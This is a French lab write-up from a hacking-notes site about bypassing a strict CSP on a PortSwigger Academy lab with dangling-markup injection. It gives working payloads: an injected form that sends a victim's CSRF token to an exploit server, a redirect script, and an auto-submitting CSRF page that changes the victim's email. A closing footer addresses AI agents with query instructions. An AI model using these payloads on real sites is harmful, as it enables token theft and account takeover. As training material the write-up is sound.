> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xss/reflected-xss-protected-by-strict-csp-with-dangling-markup.md).

# XSS réfléchi protégé par une CSP très stricte, attaqué par balisage pendant

Notes sur le XSS réfléchi protégé par une CSP très stricte, attaqué par balisage pendant pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et rem

### XSS réfléchi protégé par une CSP très stricte, avec attaque par balisage pendante

#### Objectif du labo

* Menez une attaque XSS qui contourne la CSP et exfiltre le jeton CSRF d’un utilisateur simulé (via Burp Collaborator).
* Puis utilisez ce jeton pour modifier l'adresse e-mail de la victime en `hacker@evil-user.net`.
* Le vecteur visible par la victime doit contenir le mot **Cliquez** (par ex. `Cliquez-moi`) pour l'inciter à cliquer.
* Compte de test : `wiener:peter`.

#### Observations Initiales

* Dans le formulaire de mise à jour de l'e-mail, ajouter `?email=` à l'URL contrôle la valeur (`valeur`) du `email` champ de saisie.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f1b305a4d31f9a5a2513a0c1c9b8950dc5b0593d%2Fimage%20(389).png?alt=media" alt=""><figcaption></figcaption></figure>

Le champ est vulnérable à une injection de balises HTML (exemples de test) :

* `test"><h1>test</h1>` → `<h1>` est injecté et renvoyé.

```html
test"><h1>test</h1>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3a96fc923ac41ae5f501b5254f868a67b4c14f97%2Fimage%20(390).png?alt=media" alt="" width="422"><figcaption></figcaption></figure>

* `test"><script>alert(0)</script>` → `<script>` apparaît dans le formulaire mais \*\* n'est pas exécuté\*\*.

```javascript
test"><script>alert(0)</script>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e500655f8575e74a78d0e12157df56377b3f5d2c%2Fimage%20(391).png?alt=media" alt="" width="429"><figcaption></figcaption></figure>

La console du navigateur indique un blocage par la politique de sécurité :

{% hint style="danger" %}
Content-Security-Policy: les paramètres de la page ont bloqué l’exécution d’un script inline (script-src-elem) car cela enfreint la directive suivante : “script-src 'self'”
{% endhint %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-04185e29656392260ecfa8b5564cec00cd92f89d%2Fimage%20(392).png?alt=media" alt=""><figcaption></figcaption></figure>

En-tête CSP observé :

`content-security-policy`/ `default-src 'self';object-src 'none'; style-src 'self'; script-src 'self'; img-src 'self'; base-uri 'none';`

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-74d51015666f306b3da306e7e8a80b74f997c0ea%2Fimage%20(393).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Stratégie d’attaque (balisage pendante)

* Au lieu d'injecter un `<script>` (bloqué par la CSP), le formulaire actuel est fermé et un nouveau formulaire\*\* est créé avec l' `action` attribut pointant vers notre serveur d'exploit (serveur d'exploit). Ce formulaire contient un bouton appelé « Cliquez-moi » pour inciter l'utilisateur à cliquer.

Exemple d'injection qui ferme le formulaire et en crée un nouveau (format encodé en URL dans la redirection) :

{% code overflow="wrap" %}

```javascript
test"></form><form class="login-form" name"change-email-form" action="https://exploit-0a0b002e04ca637f81f4ed8a01da00c2.exploit-server.net/exploit" method="GET"><button class="button" type="submit">Cliquez-moi</button
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e19094b6836049d5677a152aecc5964da962031%2Fimage%20(394).png?alt=media" alt=""><figcaption></figcaption></figure>

* En ouvrant ce lien depuis la machine de la victime (par ex. via une redirection), si la victime clique sur le bouton, le jeton CSRF est envoyé dans l'URL au serveur d'exploit et apparaît dans les journaux du serveur adverse.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-039559d9359713de324b38ea2f9419339aa8fa64%2Fimage%20(395).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exemple de redirection injectée (pour forcer l'utilisateur à accéder à la page vulnérable avec la charge utile)

* Script injecté côté attaquant pour rediriger la victime vers la page de la charge utile (URL encodée) :

```javascript
<script>
location="https://0a4100a704a163818169ee1c00f10037.web-security-academy.net/my-account?email=test%22%3E%3C/form%3E%3Cform%20class=%22login-form%22%20name%22change-email-form%22%20action=%22https://exploit-0a0b002e04ca637f81f4ed8a01da00c2.exploit-server.net/exploit%22%20method=%22GET%22%3E%3Cbutton%20class=%22button%22%20type=%22submit%22%3ECliquez-moi%3C/button"
</script>
```

* Une fois la victime redirigée et le bouton cliqué, le jeton CSRF se trouve dans les journaux du serveur d'exploit.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c88c5b67e1aef9df77121d50e1e2defd7b0146f%2Fimage%20(396).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Opération post-exfiltration : utilisation du jeton CSRF pour modifier l'e-mail

* Après avoir obtenu le jeton CSRF (à partir des journaux du serveur d'exploit), une page HTML est construite qui envoie une requête POST à `/my-account/change-email` avec :
* `e-mail = hacker@evil-user.net`
* `CSRF = <token_obtenu>`

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58228386491d7041884f210a878bde8c55707ae1%2Fimage%20(397).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Exemple de PoC HTML généré (par Burp ou manuellement) pour effectuer automatiquement la requête POST

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d61b2344435f2843cf0a6f2c2e8a3ed85d6eeda%2Fimage%20(398).png?alt=media" alt=""><figcaption></figcaption></figure>

```html
<html>
  <body>
    <form action="https://0a4100a704a163818169ee1c00f10037.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker@evil-user.net" />
      <input type="hidden" name="csrf" value="L0joiDIMrKKrO7jkqiC6sLYR5MNEbUfu" />
      <input type="submit" value="Envoyer la requête" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/xss/reflected-xss-protected-by-strict-csp-with-dangling-markup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
